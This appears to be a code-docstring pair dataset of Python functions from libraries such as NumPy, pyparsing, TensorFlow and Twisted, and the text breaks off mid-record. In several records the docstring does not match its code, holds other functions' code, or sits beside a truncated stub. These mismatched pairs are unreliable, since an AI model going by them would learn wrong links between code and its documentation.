"def components(self):\n return self._components\n\n @property", "nl": "Get the mixture components of this distribution.Returns:tuple[Distribution]: The mixture components."} {"code": "def get_type_hints(obj, globalns=None, localns=None, include_extras=False):\n hint = typing.get_type_hints(obj, globalns=globalns, localns=localns)\n if include_extras:\n return hint\n return {k: _strip_annotations(t) for k, t in hint.items()}\n\nelif HAVE_ANNOTATED:\n", "nl": "Return type hints for an object.This is often the same as obj.__annotations__, but it handlesforward references encoded as string literals, adds Optional[t] if adefault value equal to None is set and recursively replaces all'Annotated[T, ...]' with 'T' (unless 'include_extras=True').The argument may be a module, class, method, or function. The annotationsare returned as a dictionary. For classes, annotations include alsoinherited members.TypeError is raised if the argument is not of a type that can containannotations, and an empty dictionary is returned if no annotations arepresent.BEWARE -- the behavior of globalns and localns is counterintuitive(unless you are familiar with how eval() and exec() work). Thesearch order is locals first, then globals.- If no dict arguments are passed, an attempt is made to use theglobals from obj (or the respective module's globals for classes),and these are also used as the locals. If the object does not appearto have globals, an empty dictionary is used.- If one dict argument is passed, it is used for both globals andlocals.- If two dict arguments are passed, they specify globals andlocals, respectively."} {"code": "def eeg_settings(raws: List[BaseRaw]) -> List[BaseRaw]:\n raw_setted = []\n for subj in raws:\n eegbci.standardize(subj)\n montage = make_standard_montage('standard_1005')\n subj.set_montage(montage)\n raw_setted.append(subj)\n\n return raw_setted\n\n @staticmethod", "nl": "Standardize montage of the raws:param raws: List[BaseRaw] list of raws:return: List[BaseRaw] list of standardize raws"} {"code": "def inlineLiteralsUsing(cls):\n ParserElement._literalStringClass = cls\n", "nl": "Set class to be used for inclusion of string literals into a parser.Example::# default literal class used is Literalinteger = Word(nums)date_str = integer(\"year\") + '/' + integer(\"month\") + '/' + integer(\"day\")date_str.parseString(\"1999/12/31\") # -> ['1999', '/', '12', '/', '31']# change to SuppressParserElement.inlineLiteralsUsing(Suppress)date_str = integer(\"year\") + '/' + integer(\"month\") + '/' + integer(\"day\")date_str.parseString(\"1999/12/31\") # -> ['1999', '12', '31']"} {"code": "def append(a, b, axis=None):\n return concatenate([a, b], axis)", "nl": "Append values to the end of an array... versionadded:: 1.9.0Parameters----------a : array_likeValues are appended to a copy of this array.b : array_likeThese values are appended to a copy of `a`. It must be of thecorrect shape (the same shape as `a`, excluding `axis`). If `axis`is not specified, `b` can be any shape and will be flattenedbefore use.axis : int, optionalThe axis along which `v` are appended. If `axis` is not given,both `a` and `b` are flattened before use.Returns-------append : MaskedArrayA copy of `a` with `b` appended to `axis`. Note that `append`does not occur in-place: a new array is allocated and filled. If`axis` is None, the result is a flattened array.See Also--------numpy.append : Equivalent function in the top-level NumPy module.Examples-------->>> import numpy.ma as ma>>> a = ma.masked_values([1, 2, 3], 2)>>> b = ma.masked_values([[4, 5, 6], [7, 8, 9]], 7)>>> print(ma.append(a, b))[1 -- 3 4 5 6 -- 8 9]"} {"code": "def exploded(self):\n return _compat_str(self)\n\n @property", "nl": "Return the longhand version of the IP address as a string.return self._explode_shorthand_ip_string()@propertydef compressed(self):Return the shorthand version of the IP address as a string."} {"code": "def resample(img, sz):\n original_image_size = img.shape\n in_height = img.shape[0]\n in_width = img.shape[1]\n out_height = sz[0]\n out_width = sz[1]\n out_flow = np.zeros((out_height, out_width, 2))\n height_scale = float(in_height) / float(out_height)\n width_scale = float(in_width) / float(out_width)\n\n [x,y] = np.meshgrid(range(out_width), range(out_height))\n xx = x * width_scale\n yy = y * height_scale\n x0 = np.floor(xx).astype(np.int32)\n x1 = x0 + 1\n y0 = np.floor(yy).astype(np.int32)\n y1 = y0 + 1\n\n x0 = np.clip(x0,0,in_width-1)\n x1 = np.clip(x1,0,in_width-1)\n y0 = np.clip(y0,0,in_height-1)\n y1 = np.clip(y1,0,in_height-1)\n\n Ia = img[y0,x0,:]\n Ib = img[y1,x0,:]\n Ic = img[y0,x1,:]\n Id = img[y1,x1,:]\n\n wa = (y1-yy) * (x1-xx)\n wb = (yy-y0) * (x1-xx)\n wc = (y1-yy) * (xx-x0)\n wd = (yy-y0) * (xx-x0)\n out_flow[:,:,0] = (Ia[:,:,0]*wa + Ib[:,:,0]*wb + Ic[:,:,0]*wc + Id[:,:,0]*wd) * out_width / in_width\n out_flow[:,:,1] = (Ia[:,:,1]*wa + Ib[:,:,1]*wb + Ic[:,:,1]*wc + Id[:,:,1]*wd) * out_height / in_height\n\n return out_flow", "nl": "img: flow map to be resampledsz: new flow map size. Must be [height,weight]"} {"code": "def segment_buffer_line(buffer_line):\n is_wide_char = False\n text = \"\"\n start = 0\n counter = 0", "nl": "segment a buffer line based on bg and fg colors"} {"code": "def conj(z):\n\n\n", "nl": "Return the complex conjugate of `z`.@_scal_elemwisedef complex_from_polar(abs, angle):Return complex-valued tensor from polar coordinate specification."} {"code": "def _batch_decode_boxes(self, box_encodings, anchor_boxes):\n \"\"\"Decodes box encodings with respect to the anchor boxes.\n combined_shape = shape_utils.combined_static_and_dynamic_shape(\n box_encodings)\n num_classes = combined_shape[2]\n tiled_anchor_boxes = tf.tile(\n tf.expand_dims(anchor_boxes, 2), [1, 1, num_classes, 1])\n tiled_anchors_boxlist = box_list.BoxList(\n tf.reshape(tiled_anchor_boxes, [-1, 4]))\n decoded_boxes = self._box_coder.decode(\n tf.reshape(box_encodings, [-1, self._box_coder.code_size]),\n tiled_anchors_boxlist)\n return tf.reshape(decoded_boxes.get(),\n tf.stack([combined_shape[0], combined_shape[1],\n num_classes, 4]))\n", "nl": "Decode tensor of refined box encodings.Args:refined_box_encodings: a 3-D tensor with shape[batch_size, max_num_proposals, num_classes, self._box_coder.code_size]representing predicted (final) refined box encodings.proposal_boxes: [batch_size, self.max_num_proposals, 4] representingdecoded proposal bounding boxes.Returns:refined_box_predictions: a [batch_size, max_num_proposals, num_classes, 4]float tensor representing (padded) refined bounding box predictions(for each image in batch, proposal and class)."} {"code": "def _lookfor_generate_cache(module, import_modules, regenerate):\n global _lookfor_caches\n import inspect\n\n if sys.version_info[0] >= 3:\n from io import StringIO\n else:\n from StringIO import StringIO\n\n if module is None:\n module = \"numpy\"\n\n if isinstance(module, str):\n try:\n __import__(module)\n except ImportError:\n return {}\n module = sys.modules[module]\n elif isinstance(module, list) or isinstance(module, tuple):\n cache = {}\n for mod in module:\n cache.update(_lookfor_generate_cache(mod, import_modules,\n regenerate))\n return cache\n\n if id(module) in _lookfor_caches and not regenerate:\n return _lookfor_caches[id(module)]\n\n cache = {}\n _lookfor_caches[id(module)] = cache\n seen = {}\n index = 0\n stack = [(module.__name__, module)]\n while stack:\n name, item = stack.pop(0)\n if id(item) in seen:\n continue\n seen[id(item)] = True\n\n index += 1\n kind = \"object\"\n\n if inspect.ismodule(item):\n kind = \"module\"\n try:\n _all = item.__all__\n except AttributeError:\n _all = None\n\n if import_modules and hasattr(item, '__path__'):\n for pth in item.__path__:\n for mod_path in os.listdir(pth):\n this_py = os.path.join(pth, mod_path)\n init_py = os.path.join(pth, mod_path, '__init__.py')\n if (os.path.isfile(this_py) and\n mod_path.endswith('.py')):\n to_import = mod_path[:-3]\n elif os.path.isfile(init_py):\n to_import = mod_path\n else:\n continue\n if to_import == '__init__':\n continue\n\n try:\n old_stdout = sys.stdout\n old_stderr = sys.stderr\n try:\n sys.stdout = StringIO()\n sys.stderr = StringIO()\n __import__(\"%s.%s\" % (name, to_import))\n finally:\n sys.stdout = old_stdout\n sys.stderr = old_stderr\n except BaseException:\n continue\n\n for n, v in _getmembers(item):\n try:\n item_name = getattr(v, '__name__', \"%s.%s\" % (name, n))\n mod_name = getattr(v, '__module__', None)\n except NameError:\n item_name = \"%s.%s\" % (name, n)\n mod_name = None\n if '.' not in item_name and mod_name:\n item_name = \"%s.%s\" % (mod_name, item_name)\n\n if not item_name.startswith(name + '.'):\n if isinstance(v, ufunc):\n pass\n else:\n continue\n elif not (inspect.ismodule(v) or _all is None or n in _all):\n continue\n stack.append((\"%s.%s\" % (name, n), v))\n elif inspect.isclass(item):\n kind = \"class\"\n for n, v in _getmembers(item):\n stack.append((\"%s.%s\" % (name, n), v))\n elif hasattr(item, \"__call__\"):\n kind = \"func\"\n\n try:\n doc = inspect.getdoc(item)\n except NameError:\n doc = None\n if doc is not None:\n cache[name] = (doc, kind, index)\n\n return cache\n", "nl": "Generate docstring cache for given module.Parameters----------module : str, None, moduleModule for which to generate docstring cacheimport_modules : boolWhether to import sub-modules in packages.regenerate : boolRe-generate the docstring cacheReturns-------cache : dict {obj_full_name: (docstring, kind, index), ...}Docstring cache for the module, either cached one (regenerate=False)or newly generated."} {"code": "def endDocument(self):\n listed in 'goodattributes' \"\"\"", "nl": " End of SAX, verify we can proceed. if not self._in_site_ever:output.Error('The configuration must specify a \"site\" element.')else:if not self._inputs:output.Warn('There were no inputs to generate a sitemap from.')#end def endDocument#end class Sitemapdef ValidateAttributes(tag, attributes, goodattributes): Makes sure 'attributes' does not contain any attribute not"} {"code": "def infer_sequence(self, lr_data, device):\n\n tot_frm, c, h, w = lr_data.size()\n s = self.scale\n\n hr_seq = []\n\n for i in range(tot_frm):\n with torch.no_grad():\n self.eval()\n\n lr_curr = lr_data[i: i + 1, ...].to(device)\n hr_curr = self.forward(lr_curr)\n hr_frm = hr_curr.squeeze(0).cpu().numpy()\n\n hr_seq.append(float32_to_uint8(hr_frm))\n\n return np.stack(hr_seq).transpose(0, 2, 3, 1)\n", "nl": "Parameters::param lr_data: torch.FloatTensor in shape tchw:param device: torch.device:return hr_seq: uint8 np.ndarray in shape tchw"} {"code": "def parse_timestamp_range(text):\n\n text = text.strip()\n if text == '':\n return [0, 9223372036854775807]\n\n now = datetime.datetime.now()\n if text in ['t', 'today']:\n today = int(time.mktime(datetime.datetime(now.year, now.month, now.day).timetuple())) * 1000\n return [today, today + DAY]\n if text in ['y', 'yesterday']:\n yesterday = int(time.mktime(\n (datetime.datetime(now.year, now.month, now.day) -\n datetime.timedelta(days=1)).timetuple())) * 1000\n return [yesterday, yesterday + DAY]\n\n parts = text.split('->')\n r = timestamp_range(parts[0])\n if (r != -1 and len(parts) > 1) or len(parts) > 2:\n die(\"Error: Date and range '%s' has invalid structure\" % text)\n if r != -1:\n now = int(time.time() * 1000)\n return [now - r, now]\n\n start_group = timestamp_group(parts[0])\n start = start_group[0]\n end = start + start_group[1]\n\n if len(parts) > 1:\n end_range = timestamp_range(parts[1])\n if end_range != -1:\n end = start + end_range\n else:\n end_group = timestamp_group(parts[1])\n end = end_group[0] + end_group[1]\n\n return [start, end]\n\n", "nl": "Parses the time range given and return start-end pair of timestamps.Recognized structures are:t|todayy|yesterdaylast? \\\\d* (m|min|minute|h|hour|d|day|mon|month|y|year) s?rangedatetimedatetime -> rangedatetime -> datetime"} {"code": "def split_filename(filename, project_name=None):\n result = None\n pyver = None\n filename = unquote(filename).replace(' ', '-')\n m = PYTHON_VERSION.search(filename)\n if m:\n pyver = m.group(1)\n filename = filename[:m.start()]\n if project_name and len(filename) > len(project_name) + 1:\n m = re.match(re.escape(project_name) + r'\\b', filename)\n if m:\n n = m.end()\n result = filename[:n], filename[n + 1:], pyver\n if result is None:\n m = PROJECT_NAME_AND_VERSION.match(filename)\n if m:\n result = m.group(1), m.group(3), pyver\n return result\n\nNAME_VERSION_RE = re.compile(r'(?P[\\w .-]+)\\s*'\n r'\\(\\s*(?P[^\\s)]+)\\)$')\n", "nl": "Extract name, version, python version from a filename (no extension)Return name, version, pyver or None"} {"code": "def _check_satisfy(self, rand_box, gt_boxes):\n l, t, r, b = rand_box\n num_gt = gt_boxes.shape[0]\n ls = np.ones(num_gt) * l\n ts = np.ones(num_gt) * t\n rs = np.ones(num_gt) * r\n bs = np.ones(num_gt) * b\n mask = np.where(ls < gt_boxes[:, 1])[0]\n ls[mask] = gt_boxes[mask, 1]\n mask = np.where(ts < gt_boxes[:, 2])[0]\n ts[mask] = gt_boxes[mask, 2]\n mask = np.where(rs > gt_boxes[:, 3])[0]\n rs[mask] = gt_boxes[mask, 3]\n mask = np.where(bs > gt_boxes[:, 4])[0]\n bs[mask] = gt_boxes[mask, 4]\n w = rs - ls\n w[w < 0] = 0\n h = bs - ts\n h[h < 0] = 0\n inter_area = h * w\n union_area = np.ones(num_gt) * max(0, r - l) * max(0, b - t)\n union_area += (gt_boxes[:, 3] - gt_boxes[:, 1]) * (gt_boxes[:, 4] - gt_boxes[:, 2])\n union_area -= inter_area\n ious = inter_area / union_area\n ious[union_area <= 0] = 0\n max_iou = np.amax(ious)\n if max_iou < self.min_overlap:\n return None\n if self.config['gt_constraint'] == 'center':\n for i in range(ious.shape[0]):\n if ious[i] > 0:\n gt_x = (gt_boxes[i, 1] + gt_boxes[i, 3]) / 2.0\n gt_y = (gt_boxes[i, 2] + gt_boxes[i, 4]) / 2.0\n if gt_x < l or gt_x > r or gt_y < t or gt_y > b:\n return None\n elif self.config['gt_constraint'] == 'corner':\n for i in range(ious.shape[0]):\n if ious[i] > 0:\n if gt_boxes[i, 1] < l or gt_boxes[i, 3] > r \\\n or gt_boxes[i, 2] < t or gt_boxes[i, 4] > b:\n return None\n return ious\n\n\nclass RandPadder(RandSampler):\n \"\"\"", "nl": "check if overlap with any gt box is larger than threshold"} {"code": "def collate(self, collation):\n return self.operate(collate, collation)\n", "nl": "Produce a :func:`_expression.collate` clause againstthe parent object, given the collation string... seealso:::func:`_expression.collate`"} {"code": "def test_wsgi(self):\n options = Options()\n options.parseOptions(['--wsgi', __name__ + '.application'])\n root = options['root']\n self.assertTrue(root, WSGIResource)\n self.assertIdentical(root._reactor, reactor)\n self.assertTrue(isinstance(root._threadpool, ThreadPool))\n self.assertIdentical(root._application, application)\n\n self.assertFalse(root._threadpool.started)\n reactor.fireSystemEvent('startup')\n self.assertTrue(root._threadpool.started)\n self.assertFalse(root._threadpool.joined)\n reactor.fireSystemEvent('shutdown')\n self.assertTrue(root._threadpool.joined)\n\n", "nl": "The I{--wsgi} option takes the fully-qualifed Python name of a WSGIapplication object and creates a L{WSGIResource} at the root whichserves that application."} {"code": "def add_descriptor(self, descriptor : SetHeaderDescriptorEmitter, vendor_code : int):\n\n assert isinstance(descriptor, SetHeaderDescriptorEmitter)\n descriptor = descriptor.emit()\n\n self._descriptors[vendor_code] = descriptor\n\n\n @property", "nl": " Adds a descriptor to our collection.Parameters:descriptor -- The set header descriptor to be added.vendor_code -- The vendor request code for this descriptor tree"} {"code": "def _snpeff_args_from_config(data):\n config = data[\"config\"]\n args = [\"-hgvs\"]\n resources = config_utils.get_resources(\"snpeff\", config)\n if resources.get(\"options\"):\n args += [str(x) for x in resources.get(\"options\", [])]\n if vcfutils.get_paired_phenotype(data):\n args += [\"-cancer\"]\n\n effects_transcripts = dd.get_effects_transcripts(data)\n if effects_transcripts in set([\"canonical_cancer\"]):\n _, snpeff_base_dir = get_db(data)\n canon_list_file = os.path.join(snpeff_base_dir, \"transcripts\", \"%s.txt\" % effects_transcripts)\n if not utils.file_exists(canon_list_file):\n raise ValueError(\"Cannot find expected file for effects_transcripts: %s\" % canon_list_file)\n args += [\"-canonList\", canon_list_file]\n elif effects_transcripts == \"canonical\" or tz.get_in((\"config\", \"algorithm\", \"clinical_reporting\"), data):\n args += [\"-canon\"]\n return args\n", "nl": "Retrieve snpEff arguments supplied through input configuration."} {"code": "def read_bytes(self, count):\n return self._unpack_bytes(self.read(count))\n", "nl": "Returns the next ``count`` bytes as a byte string"} {"code": "def _embedding(self, inputs, training=False):\n Args:\n inputs: A float32 tensor with shape [batch_size, length, embedding_size]\n Returns:\n float32 tensor with shape [batch_size, length, vocab_size].\n \"\"\"", "nl": "Applies embedding based on inputs tensor.input_ids, position_ids, token_type_ids, inputs_embeds = inputsif input_ids is not None:input_shape = shape_list(input_ids)else:input_shape = shape_list(inputs_embeds)[:-1]seq_length = input_shape[1]if position_ids is None:position_ids = tf.range(seq_length, dtype=tf.int32)[tf.newaxis, :]if token_type_ids is None:token_type_ids = tf.fill(input_shape, 0)if inputs_embeds is None:inputs_embeds = tf.gather(self.word_embeddings, input_ids)position_embeddings = self.position_embeddings(position_ids)token_type_embeddings = self.token_type_embeddings(token_type_ids)embeddings = inputs_embeds + position_embeddings + token_type_embeddingsembeddings = self.LayerNorm(embeddings)embeddings = self.dropout(embeddings, training=training)return embeddingsdef _linear(self, inputs):Computes logits by running inputs through a linear layer."} {"code": "def create(endpoint, proto, hostport, app):\n zknode = z.path.endpoint(app, proto, endpoint)\n zkclient = context.GLOBAL.zk.conn\n zkutils.ensure_deleted(zkclient, zknode)\n\n del create\n del delete\n\n", "nl": "Create permanent endpoint.zknode = z.path.endpoint(app, proto, endpoint)zkclient = context.GLOBAL.zk.connzkutils.put(zkclient, zknode, hostport)@endpoint_grp.command()@click.option('--endpoint', help='Endpoint name', required=True)@click.option('--proto', help='Proto', default='tcp')@click.argument('app')@cli.admin.ON_EXCEPTIONSdef delete(endpoint, proto, app):Delete endpoint."} {"code": "def impulse_response(m, c, k, Fo, max_time):\n t = np.linspace(0, max_time, int(250 * max_time))\n\n wn = np.sqrt(k / m)\n zeta = c / (2 * wn * m)\n wd = wn * np.sqrt(1 - zeta**2)\n fo = Fo / m\n\n x = fo / (wd * np.exp(zeta * wn * t)) * np.sin(wd * t)\n\n fig = plt.figure()\n ax1 = fig.add_subplot(111)\n ax1.set_xlabel('Time')\n ax1.set_ylabel('Displacement')\n ax1.set_title('Displacement vs Time')\n ax1.plot(t, x)\n\n return t, x\n\n", "nl": "rPlot SDOF system impulse response.Returns a plot with the response of a SDOF system to animpulse of magnitude Fo (Newton seconds).:math:`x(t)=\\frac{F_o}{m\\omega_d}e^{-\\zeta\\omega_n_t}\\sin(\\omega_d t-\\phi)`Parameters----------m, c, k: floatMass, damping and stiffness.Fo: floatForce applied over time (units N.s)max_time: floatEnd timeReturns-------t: ArrayArray containing the values for the timex: ArrayArray containing the values for displacementPlot with the response of the system to animpulse of magnitude Fo (N.s).Examples-------->>> import vibration_toolbox as vtb>>> t, x = vtb.impulse_response(m=100, c=20, k=2000, Fo=10, max_time=50)"} {"code": "def get_cache_file_path(file_path):\n return '%s%s' % (cache_file_path, CACHE_METADATA_FILE_EXTENSION)\n\n", "nl": "Return cache file path given a local file path.# TODO(ochang): Completely remove NFS support.if (not environment.get_value('NFS_ROOT') orenvironment.get_value('DISABLE_NFS')):return Nonereturn os.path.join(environment.get_value('NFS_ROOT'), CACHE_DIRNAME,utils.get_directory_hash_for_path(file_path), os.path.basename(file_path))def get_cache_file_metadata_path(cache_file_path):Return metadata file path for a cache file."} {"code": "def _pool_single_run(kwargs):\n idx = kwargs.pop('idx')\n frozen_kwargs = _frozen_pool_single_run.kwargs\n frozen_kwargs.update(kwargs)\n traj = frozen_kwargs['traj']\n traj.f_set_crun(idx)\n return _sigint_handling_single_run(frozen_kwargs)\n\n", "nl": "Starts a pool single run and passes the storage servicewrap_mode = kwargs['wrap_mode']traj = kwargs['traj']traj.v_storage_service = _pool_single_run.storage_serviceif wrap_mode == pypetconstants.WRAP_MODE_LOCAL:# Free references from previous runstraj.v_storage_service.free_references()return _sigint_handling_single_run(kwargs)def _frozen_pool_single_run(kwargs):Single run wrapper for the frozen pool, makes a single run and passes kwargs"} {"code": "def teardown_class(cls):\n\n @classmethod", "nl": "Tear the test down.os.chdir(cls.cwd)try:shutil.rmtree(cls.t)except (OSError, IOError):passclass TestScaffoldProtocolFailsWhenConfigFileIsNotCompliant:Test that the command 'aea scaffold protocol' fails when the configuration file is not compliant with the schema."} {"code": "def insort_right(a, x, lo=0, hi=None):\n if lo < 0:\n raise ValueError('lo must be non-negative')\n if hi is None:\n hi = len(a)\n while lo < hi:\n mid = (lo + hi) // 2\n if x < a[mid]:\n hi = mid\n else:\n lo = mid + 1\n\n a.insert(lo, x)\n return\n\n\ninsort = insort_right\n", "nl": "Insert item x in list a, and keep it sorted assuming a is sorted.If x is already in a, insert it to the right of the rightmost x.Optional args lo (default 0) and hi (default len(a)) bound theslice of a to be searched."} {"code": "def _get_actual_reset_type(self, reset_type):\n if 'reset_type' not in self.session.options:", "nl": "! @brief Determine the reset type to use given defaults and passed in type.# Default to reset_type session option if reset_type parameter is None. If the session# option isn't set, then use the core's default reset type.if reset_type is None:reset_type = self.default_reset_type"} {"code": "def get_tracker_uri(self):\n return self.tracker_uri\n", "nl": "Returns upload tracker URI, or None if the upload has not yet started."} {"code": "def response_header_should_not_equal(self, header_name, not_expected):\n self.response_should_have_header(header_name)\n actual = self.response.headers[header_name]\n assert actual != not_expected, \\\n 'Response header \"%s\" was \"%s\" but should not have been.' % (\n header_name, actual)\n", "nl": "Fails if the value of response header `header_name` equals `expected`Also fails if the last response does not have a `header_name` header."} {"code": "def turn_on(self, **kwargs):\n self._state = False\n data = {\n \"cmd\":6,\n \"r\":0,\n \"g\":0,\n \"b\":0,\n \"w\":0,\n \"m\":0}\n op = json.dumps(data)\n self._send_cmd(self._device,'cmd=ctrl&devices={[' + self._device[\"sid\"] + ']}&op=' + op + '}', 6)\n", "nl": "Turn the light on.if ATTR_HS_COLOR in kwargs:self._rgb = color_util.color_hs_to_RGB(*kwargs[ATTR_HS_COLOR])if ATTR_BRIGHTNESS in kwargs:self._brightness = int(100 * kwargs[ATTR_BRIGHTNESS] / 255)self._state = Truedata = {\"cmd\":6,\"r\":int(50 * self._rgb[0] / 255)*self._brightness,\"g\":int(50 * self._rgb[1] / 255)*self._brightness,\"b\":int(50 * self._rgb[2] / 255)*self._brightness,\"w\":0,\"m\":0}op = json.dumps(data)self._send_cmd(self._device,'cmd=ctrl&devices={[' + self._device[\"sid\"] + ']}&op=' + op + '}', 6)def turn_off(self, **kwargs):Turn the light off."} {"code": "def process(self, features):\n data = kaldi.matrix.SubVector(\n kaldi.ivector.compute_vad_energy(\n self._options, kaldi.matrix.SubMatrix(features.data))).numpy()\n\n return Features(\n np.atleast_2d(data.astype(np.uint8)).T,\n features.times, properties=self.get_properties(features))", "nl": "Computes voice activity detection (VAD) on the input `features`Parameters----------features : :class:`~shennong.features.Features`, shape = [n,m]The speech features on which to look for voicedframes. The first coefficient must be a log-energy (orequivalent). Works well with:class:`~shennong.processor.mfcc.MfccProcessor` and:class:`~shennong.processor.plp.PlpProcessor`.Returns-------vad : :class:`~shennong.features.Features`, shape = [n,1]The output vad features are of dtype uint8 and contain 1for voiced frames or 0 for unvoiced frames."} {"code": "def my_func(self):\n raise RuntimeError('Blah')\n ''')", "nl": "This is a docstring.:raises RuntimeError: Always:except NameError: Never:raise OSError: Never:exception ValueError: Never"} {"code": "def merge_from_file(self, cfg_filename):\n _merge_a_into_b(cfg_other, self, self, [])\n", "nl": "Load a yaml config file and merge it this CN.with open(cfg_filename, \"r\") as f:cfg = load_cfg(f)if 'parent' in cfg.keys():if cfg.parent != 'none':print('[Config] merge from parent file: {}'.format(cfg.parent))self.merge_from_file(cfg.parent)self.merge_from_other_cfg(cfg)def merge_from_other_cfg(self, cfg_other):Merge `cfg_other` into this CN."} {"code": "def _(self):\n", "nl": " additional tests>>> import pytim>>> import numpy as np>>> from pytim.datafiles import WATER_GRO>>> import MDAnalysis as mda>>> u = mda.Universe(WATER_GRO)>>>>>> u.atoms[:8].positions=np.array([[0.,0,5],[0,1,5],[1,0,5],[1,1,5],\\[0.,0.,-5.],[0,1,-5],[1,0,-5],[1,1,-5]])>>> upper,lower=u.atoms[:4],u.atoms[4:8]>>> inter = pytim.SimpleInterface(u,symmetry='planar', upper=upper,\\lower=lower,alpha=5.)>>> g = u.atoms[8:12]>>> g.atoms.positions=np.asarray([[.5,.5,6],[.5,.5,4],[.5,.5,-4],\\[.5,.5,-6]])>>> print(pytim.observables.IntrinsicDistance(inter).compute(g))[ 1. -1. -1. 1.]"} {"code": "def get_default_context(request) -> DummyDefaultContext:\n with Configurator() as config:\n config.include(\"pyramid_openapi3\")\n", "nl": "Return a dummy context.return DummyDefaultContext()@pytest.fixturedef simple_config() -> Configurator:Prepare the base configuration needed for the Pyramid app."} {"code": "def unpack_sequence(self, n):\n self.code_ops.append(\n bc.Instr(\"UNPACK_SEQUENCE\", n),\n )\n\n @contextmanager", "nl": " Unpack the sequence on the TOS."} {"code": "def FProp(self, theta, prepared_inputs, step_inputs, padding, state0):\n del state0\n del prepared_inputs\n args = {}\n if padding is not None:\n args['padding'] = padding\n output = self.layer.FProp(theta.layer, step_inputs.inputs, **args)\n return output, py_utils.NestedMap()\n\n\nclass StackStep(Step):\n \"\"\"A stack of steps.\n\n @classmethod", "nl": "Perform inference on a stateless layer.Args:theta: A `.NestedMap` object containing weights' values of this layer andits children layers.prepared_inputs: unused.step_inputs: A NestedMap containing 'inputs', which are passed directly tothe layer.padding: A 0/1 float tensor of shape [batch_size]; 1.0 means that thisbatch element is empty in this step.state0: unused.Returns:(output, state1), where output is the output of the layer, andstate1 is an empty NestedMap."} {"code": "def bsoid_gmm(trained_tsne, comp=COMP, emgmm_params=EMGMM_PARAMS):\n if comp == 1:\n logging.info('Running EM-GMM on {} instances in {} D space...'.format(*trained_tsne.shape))\n gmm = mixture.GaussianMixture(**emgmm_params).fit(trained_tsne)\n logging.info('Predicting labels for {} instances in {} D space...'.format(*trained_tsne.shape))\n assigns = gmm.predict(trained_tsne)\n else:\n assigns = []\n for i in tqdm(range(len(trained_tsne))):\n logging.info('Running EM-GMM on {} instances in {} D space...'.format(*trained_tsne[i].shape))\n gmm = mixture.GaussianMixture(**emgmm_params).fit(trained_tsne[i])\n logging.info('Predicting labels for {} instances in {} D space...'.format(*trained_tsne[i].shape))\n assign = gmm.predict(trained_tsne[i])\n assigns.append(assign)\n logging.info('Done predicting labels for {} instances in {} D space...'.format(*trained_tsne.shape))\n uk = list(np.unique(assigns))\n assignments_li = []\n for i in assigns:\n indexVal = uk.index(i)\n assignments_li.append(indexVal)\n assignments = np.array(assignments_li)\n return assignments\n\n", "nl": "Trains EM-GMM (unsupervised) given learned t-SNE space:param trained_tsne: 2D array, trained t-SNE space:param comp: boolean (0 or 1), argument to compile data or not in LOCAL_CONFIG:param emgmm_params: dict, EMGMM_PARAMS in GLOBAL_CONFIG:return assignments: Converged EM-GMM group assignments"} {"code": "def getargs(co):\n if not iscode(co):\n raise TypeError('{!r} is not a code object'.format(co))\n\n names = co.co_varnames\n nargs = co.co_argcount\n nkwargs = co.co_kwonlyargcount\n args = list(names[:nargs])\n kwonlyargs = list(names[nargs:nargs+nkwargs])\n step = 0\n\n nargs += nkwargs\n varargs = None\n if co.co_flags & CO_VARARGS:\n varargs = co.co_varnames[nargs]\n nargs = nargs + 1\n varkw = None\n if co.co_flags & CO_VARKEYWORDS:\n varkw = co.co_varnames[nargs]\n return Arguments(args + kwonlyargs, varargs, varkw)\n", "nl": "Get information about the arguments accepted by a code object.Three things are returned: (args, varargs, varkw), where'args' is the list of argument names. Keyword-only arguments areappended. 'varargs' and 'varkw' are the names of the * and **arguments or None."} {"code": "def mkdir_if_not_exists(self, allow_dirty_run : bool = False):\n try:\n self.path.mkdir(parents=True, exist_ok=False)\n _already_exists = False\n except FileExistsError:\n _already_exists = True\n\n if _already_exists and not allow_dirty_run:\n error(\n f\"Daemon '{self.daemon_id}' already exists. \" +\n f\"To allow this daemon to run, do one of the following:\\n\"\n + \" - Execute `daemon.cleanup()`.\\n\"\n + f\" - Delete the directory '{self.path}'.\\n\"\n + \" - Pass `allow_dirty_run=True` to `daemon.run()`.\\n\",\n FileExistsError,\n )\n\n @property", "nl": "Create the Daemon's directory.If `allow_dirty_run` is `False` and the directory already exists,Parameters----------allow_dirty_run : bool :(Default value = False)Returns-------"} {"code": "def RenderNativeHelp(self, tweak_data):\n\n repo_settings = PackageLister.GetRepoSettings(self)\n\n try:\n tint = tweak_data['tint']\n except Exception:\n try:\n tint = repo_settings['tint']\n except Exception:\n tint = \"\n\n view = []\n try:\n if tweak_data['developer']['email']:\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": \"If you need help with \\\"\" + tweak_data['name'] + \"\\\", you can contact \"\n + tweak_data['developer']['name'] + \", the developer, via e-mail.\"\n }\n )\n view.append(\n {\n \"class\": \"DepictionTableButtonView\",\n \"title\": \"Email Developer\",\n \"action\": \"mailto:\" + tweak_data['developer']['email'],\n \"openExternal\": \"true\",\n \"tintColor\": tint\n }\n )\n except Exception:\n try:\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": \"If you need help with \\\"\" + tweak_data['name'] + \"\\\", you can contact \"\n + tweak_data['developer']['name']\n + \", who is the developer. Sadly, we don't know their email.\"\n }\n )\n except Exception:\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": \"The developer of the package \\\"\" + tweak_data['name']\n + \"\\\" is not known. Try contacting the repo owner for more information.\"\n }\n )\n\n try:\n if tweak_data['social']:\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": \"You can also contact \" + tweak_data['developer']['name'] + \" using the following\" +\n \" sites:\"\n }\n )\n for entry in tweak_data['social']:\n view.append({\n \"class\": \"DepictionTableButtonView\",\n \"title\": entry['name'],\n \"action\": entry['url'],\n \"openExternal\": \"true\",\n \"tintColor\": tint\n })\n except Exception:\n pass\n\n try:\n if tweak_data['maintainer']['email']:\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": tweak_data['maintainer']['name'] + \" is the maintainer of the package \\\"\" +\n tweak_data['name'] + \"\\\". Please contact them via email for any questions on this\"\n \" version of the package.\"\n }\n )\n view.append(\n {\n \"class\": \"DepictionTableButtonView\",\n \"title\": \"Email Maintainer\",\n \"action\": \"mailto:\" + tweak_data['maintainer']['email'],\n \"openExternal\": \"true\",\n \"tintColor\": tint\n }\n )\n except Exception:\n try:\n view.append(\n {\n \"class\": \"DepictionMarkdownView\",\n \"markdown\": \"If you need help with \\\"\" + tweak_data['name'] + 